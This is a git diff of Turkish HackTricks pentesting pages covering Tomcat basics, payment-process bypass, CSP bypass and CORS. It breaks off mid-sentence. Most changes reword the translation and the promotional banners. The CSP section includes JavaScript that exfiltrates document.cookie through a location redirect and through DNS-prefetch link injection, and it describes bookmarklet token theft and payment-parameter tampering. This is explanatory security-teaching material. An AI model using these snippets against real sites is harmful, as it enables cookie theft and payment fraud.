diff --git a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md index 610ee8be5..7aa3be595 100644 --- a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md +++ b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md @@ -2,19 +2,19 @@
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın** veya [telegram grubuna](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna PR gönderin](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna PR gönderin](https://github.com/carlospolop/hacktricks-cloud)**. +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek katkıda bulunun.**
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -52,7 +52,7 @@ Tomcat'ı root olarak çalıştırmamak için oldukça yaygın bir yapılandırm * `bin` klasörü, bir Tomcat sunucusunu başlatmak ve çalıştırmak için gereken betikleri ve ikili dosyaları depolar. * `conf` klasörü, Tomcat tarafından kullanılan çeşitli yapılandırma dosyalarını depolar. * `tomcat-users.xml` dosyası, kullanıcı kimlik bilgilerini ve atanan rolleri depolar. -* `lib` klasörü, Tomcat'ın doğru şekilde çalışması için gereken çeşitli JAR dosyalarını içerir. +* `lib` klasörü, Tomcat'ın doğru şekilde çalışabilmesi için gereken çeşitli JAR dosyalarını içerir. * `logs` ve `temp` klasörleri geçici günlük dosyalarını depolar. * `webapps` klasörü, Tomcat'ın varsayılan web kök dizinidir ve tüm uygulamaları barındırır. `work` klasörü bir önbellek olarak işlev görür ve çalışma zamanında verileri depolamak için kullanılır. @@ -94,11 +94,11 @@ Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` kl ``` -Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın diskteki yolu şöyle olacaktır: +Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın disk üzerindeki yolu şöyle olacaktır: * **`classes/com/inlanefreight/api/AdminServlet.class`** -Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşleyen yeni bir servlet eşlemesi oluşturulur**. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği `AdminServlet.class` sınıfına** işlemek üzere gönderecektir. **`web.xml`** açıklaması, bir **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken kontrol edilmesi gereken önemli bir dosyadır**. +Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşlemek** için yeni bir servlet eşlemesi oluşturulur. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği `AdminServlet.class` sınıfına** işlemek üzere gönderecektir. **`web.xml`** açıklaması, bir **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken** kontrol edilmesi gereken önemli ve **duyarlı bilgiler** içeren bir dosyadır. ### tomcat-users @@ -143,7 +143,7 @@ will also need to set the passwords to something appropriate. ``` -Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` rollerinin her birinin erişim sağladığı şeyleri göstermektedir. Bu örnekte, `tomcat` kullanıcısının şifresi `tomcat` olan `manager-gui` rolüne sahip olduğunu ve ikinci zayıf şifrenin `admin` kullanıcı hesabı için ayarlandığını görebiliriz. +Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` rollerinin her birinin erişim sağladığı şeyleri göstermektedir. Bu örnekte, `tomcat` kullanıcısının şifresi `tomcat` olan `manager-gui` rolüne sahip olduğunu ve `admin` kullanıcı hesabı için ikinci zayıf şifrenin `admin` olarak ayarlandığını görebiliriz. ## Referanslar @@ -151,6 +151,18 @@ Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` roller **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} + +
+ +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! + +* **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)'e göz atın +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun.** + +
diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index 6ab841b5a..2c870e910 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -16,41 +16,41 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -## Ödeme Sürecini Atlatma Teknikleri +## Ödeme Atlatma Teknikleri ### İstek Yakalama -İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, genellikle işlem durumunu gösteren **Başarılı**, isteğin kaynağına işaret edebilecek **Referrer** ve işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için genellikle kullanılan **Callback** gibi önemli etkilere sahip parametreleri arayın. +İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, genellikle işlem durumunu gösteren **Başarılı**, isteğin kaynağını işaret edebilecek **Referrer** ve işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için kullanılan **Callback** gibi önemli etkilere sahip parametreleri arayın. ### URL Analizi Özellikle _example.com/payment/MD5HASH_ desenini takip eden bir URL içeren bir parametreyle karşılaşırsanız, bu daha yakından incelenmelidir. İşte adım adım bir yaklaşım: 1. **URL'yi Kopyala**: Parametre değerinden URL'yi çıkarın. -2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu eylem, işlemin sonucunu anlamak için kritiktir. +2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu işlem, işlem sonucunu anlamak için kritiktir. ### Parametre Manipülasyonu 1. **Parametre Değerlerini Değiştirme**: _Success_, _Referrer_ veya _Callback_ gibi parametrelerin değerlerini değiştirerek deney yapın. Örneğin, bir parametreyi `false`dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini bazen ortaya çıkarabilir. 2. **Parametreleri Kaldırma**: Belirli parametreleri tamamen kaldırmayı deneyerek sistemin nasıl tepki verdiğini görmek için deney yapın. Beklenen parametreler eksik olduğunda bazı sistemler yedek planları veya varsayılan davranışları olabilir. -### Çerez Oynama +### Çerez Manipülasyonu 1. **Çerezleri İnceleme**: Birçok web sitesi önemli bilgileri çerezlerde saklar. Bu çerezleri ödeme durumu veya kullanıcı kimlik doğrulamasıyla ilgili veriler açısından inceleyin. 2. **Çerez Değerlerini Değiştirme**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtını veya davranışını nasıl değiştirdiğini gözlemleyin. ### Oturum Kaçırma 1. **Oturum Belirteçleri**: Ödeme sürecinde oturum belirteçleri kullanılıyorsa, bunları yakalamayı ve manipüle etmeyi deneyin. Bu, oturum yönetimi açıklarına dair içgörüler sağlayabilir. -### Yanıt Oynama +### Yanıt Manipülasyonu 1. **Yanıtları Yakalama**: Araçlar kullanarak sunucudan gelen yanıtları yakalayın ve analiz edin. Başarılı bir işlemi gösterebilecek veya ödeme sürecindeki bir sonraki adımları ortaya çıkarabilecek herhangi bir veriyi arayın. 2. **Yanıtları Değiştirme**: Tarayıcı veya uygulama tarafından işlenmeden önce yanıtları değiştirmeye çalışarak başarılı bir işlem senaryosunu simüle etmeye çalışın. **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 4a741d961..bb3c13bd5 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,13 +2,13 @@
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. @@ -18,11 +18,11 @@ HackTricks'ı desteklemenin diğer yolları: Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! -**Hackleme İçgörüleri**\ -Hackleme heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin +**Hacking İçgörüleri**\ +Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin **Gerçek Zamanlı Hack Haberleri**\ -Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın +Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın **En Son Duyurular**\ Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi sahibi olun @@ -31,11 +31,11 @@ Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bi ## CSP Nedir -İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcının güvenli bir şekilde yüklenen kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi öğeyi kapsar. Örneğin, bir politika aynı etki alanından (self), içerideki kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun yüklenmesini ve yürütülmesini izin verebilir. +İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi öğeyi kapsar. Örneğin, bir politika aynı etki alanından (self), iç içe kaynaklardan ve `eval`, `setTimeout` veya `setInterval` gibi işlevler aracılığıyla dize kodunun yüklenmesine ve yürütülmesine izin verebilir. -CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya HTML sayfasına **meta öğeleri ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller. +CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeler ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller. -* Yanıt başlığı aracılığıyla uygulanır: +* Yanıt başlığı aracılığıyla uygulanmıştır: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -48,11 +48,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP, bu başlıklar kullanılarak zorunlu kılınabilir veya izlenebilir: * `Content-Security-Policy`: CSP'yi zorunlu kılar; tarayıcı herhangi bir ihlali engeller. -* `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir. +* `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Üretim öncesi ortamlarda test etmek için idealdir. ### Kaynakları Tanımlama -CSP, etkin ve pasif içeriklerin yüklenmesi için kökenleri kısıtlar ve iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle belirlenebilir: +CSP, etkin ve pasif içeriklerin yüklenmesi için kökenleri kısıtlar, iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle tanımlanır: ```bash default-src 'none'; img-src 'self'; @@ -64,16 +64,16 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### Direktifler +### Yönergeler * **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, iç içe betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil. -* **default-src**: Belirli getirme direktifleri yokken kaynakları getirmek için varsayılan bir politika belirler. +* **default-src**: Belirli getirme yönergeleri olmadığında kaynakları getirmek için varsayılan bir politika belirler. * **child-src**: Web işçileri ve gömülü çerikler için izin verilen kaynakları belirtir. * **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arabirimler kullanılarak yüklenebilecek URL'leri kısıtlar. * **frame-src**: Çerçeveler için URL'leri kısıtlar. -* **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, ``, ` // The bot will load an URL with the payload @@ -579,11 +578,11 @@ run(); Bu saldırı, saldırganın kullanıcıyı tarayıcının yer işaretçisi üzerine bir bağlantıyı sürükleyip bırakmaya ikna ettiği bir sosyal mühendislik gerektirir. Bu yer işaretçisi, sürüklendiğinde veya tıklandığında **kötü amaçlı javascript** kodunu içerecektir ve mevcut web penceresinin bağlamında **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya izin verecektir**. -Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Daha fazla bilgi için [**buradaki orijinal rapora bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP'yi Kısıtlayarak CSP Atlatma +### CSP kısıtlayarak CSP'nin atlatılması -Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılmış ve belirli bir JS dosyasının yüklenmesine izin verilmedi. Ardından, **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiği kötüye kullanarak **keyfi bir betik yüklemeye izin verildi**. +Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılmış ve belirli bir JS dosyasının yüklenmesine izin verilmemiştir, ardından **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiğin **keyfi bir betik yüklenmesine izin verilmiştir**. Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**: @@ -593,8 +592,8 @@ Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**: ``` {% endcode %} -[**Bu CTF çözümü**](https://github.com/aszx87410/ctf-writeups/issues/48) üzerinden, **HTML enjeksiyonu** aracılığıyla bir **CSP** daha fazla **kısıtlanarak** CSTI'yi önleyen bir betik devre dışı bırakıldı ve dolayısıyla **zafiyet sömürülebilir hale geldi.**\ -CSP daha kısıtlayıcı hale getirilebilir, **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir, **giriş**lerini kaldırarak, bunların **nonce**'larını ve **belirli iç içe betikleri sha** aracılığıyla etkinleştirebilirsiniz: +[**Bu CTF çözümünde**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML enjeksiyonu** aracılığıyla **CSP** daha fazla **kısıtlanabilir** ve böylece CSTI'yi önleyen bir betik devre dışı bırakılarak **zafiyet sömürülebilir hale geldi.**\ +CSP daha kısıtlayıcı hale getirilebilir **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir **girişi kaldırarak** ve **nonce**'ları ve **sha** aracılığıyla belirli iç içe betikler etkinleştirilebilir: ```html ` içine **yerleştirmek** için kullanabilir, bu **script** 'self' tarafından **izin verildiği için** **yüklenir**. Ayrıca, ve çünkü WordPress yüklü olduğundan, bir saldırgan **SOME saldırısını** **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla kullanarak bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek...\ +Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak** ve `` içine **yerleştirmek** için kötüye kullanabilir, bu **script** 'self' tarafından **izin verildiği için yüklenecektir**. Ayrıca, ve WordPress yüklü olduğundan, bir saldırgan **SOME saldırısını** **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla kötüye kullanabilir ve bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek...\ Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## CSP Sızdırma Atlatmaları +## CSP Exfiltration Bypasses -Eğer **harici sunucularla etkileşime izin verilmiyorsa** sıkı bir CSP varsa, bilgileri sızdırmak için her zaman yapabileceğiniz bazı şeyler vardır. +Eğer **harici sunucularla etkileşime izin verilmiyorsa** sıkı bir CSP varsa, bilgileri dışarı sızdırmak için her zaman yapabileceğiniz bazı şeyler vardır. -### Konum +### Location Sadece konumu güncelleyerek gizli bilgileri saldırganın sunucusuna gönderebilirsiniz: ```javascript @@ -694,7 +693,7 @@ Bir meta etiketi enjekte ederek yönlendirebilirsiniz (bu sadece bir yönlendirm ``` ### DNS Prefetch -Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve daha sonra kullanmak üzere önbelleğe alacaklar.\ +Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve daha sonra kullanmak üzere önbelleğe alacak.\ Tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `` Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri dışarı sızdırmak** için kötüye kullanabilirsiniz: @@ -703,14 +702,16 @@ var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` -Başka bir yol: +### Başka bir yol: + +Yukarıda bahsedilen yöntemlerin yanı sıra, bazı durumlarda bir web sitesinin içerik güvenlik politikasını (CSP) atlayabilecek başka yöntemler de bulunmaktadır. Bu yöntemler genellikle mevcut bir açığı veya zayıflığı kullanarak gerçekleştirilir. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` -Bu durumun yaşanmasını engellemek için sunucu HTTP başlığını gönderebilir: +Bu durumun önüne geçmek için sunucu HTTP başlığını gönderebilir: ``` X-DNS-Prefetch-Control: off ``` @@ -770,20 +771,20 @@ Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ -Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin +Yeni ödül avcılıklarının başlatılmasını ve önemli platform güncellemelerini takip edin **Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** -* **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.** +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index ac7fa2b48..2b74059c8 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -4,12 +4,12 @@ AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -18,30 +18,30 @@ HackTricks'i desteklemenin diğer yolları: Çapraz Kaynak Paylaşımı (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu** tanımlamasına olanak tanır. -**Aynı köken** politikası, bir **kaynağı isteyen sunucu** ile **kaynağı barındıran sunucunun** aynı protokolü (örneğin, `http://`), alan adını (örneğin, `internal-web.com`) ve **portu** (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir. +**Aynı köken** politikası, bir **kaynağı isteyen sunucu** ile **kaynağı barındıran sunucunun** aynı protokolü (ör. `http://`), alan adını (ör. `internal-web.com`) ve **portu** (ör. 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir. `http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilmiştir: | Erişilen URL | Erişime izin verildi mi? | | ----------------------------------------- | --------------------------------------- | -| `http://normal-website.com/example/` | Evet: Aynı şema, etki alanı ve port | -| `http://normal-website.com/example2/` | Evet: Aynı şema, etki alanı ve port | +| `http://normal-website.com/example/` | Evet: Aynı şema, alan adı ve port | +| `http://normal-website.com/example2/` | Evet: Aynı şema, alan adı ve port | | `https://normal-website.com/example/` | Hayır: Farklı şema ve port | -| `http://en.normal-website.com/example/` | Hayır: Farklı etki alanı | -| `http://www.normal-website.com/example/` | Hayır: Farklı etki alanı | +| `http://en.normal-website.com/example/` | Hayır: Farklı alan adı | +| `http://www.normal-website.com/example/` | Hayır: Farklı alan adı | | `http://normal-website.com:8080/example/` | Hayır: Farklı port\* | \*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir. ### `Access-Control-Allow-Origin` Başlığı -Bu başlık **birden fazla kökeni**, bir **`null`** değerini veya bir joker **`*`** değerini izin verebilir. Ancak, **hiçbir tarayıcı birden fazla kökeni desteklemez**, ve joker `*` kullanımı **sınırlamalara** tabidir. (Joker yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımı izin verilmez.) +Bu başlık **çoklu kökenlere**, bir **`null`** değerine veya bir joker **`*`** değerine izin verebilir. Ancak, **hiçbir tarayıcı çoklu kökenleri desteklemez** ve joker `*` kullanımı **sınırlamalara** tabidir. (Joker yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımına izin verilmez.) Bu başlık, tarayıcı tarafından otomatik olarak bir `Origin` başlığı eklenen bir web sitesi tarafından başlatılan çapraz etki alanı kaynağı isteğine sunucu tarafından **verilir**. ### `Access-Control-Allow-Credentials` Başlığı -**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alan sunucusu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir ve bunu `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak yapabilir. +**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir. `true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci 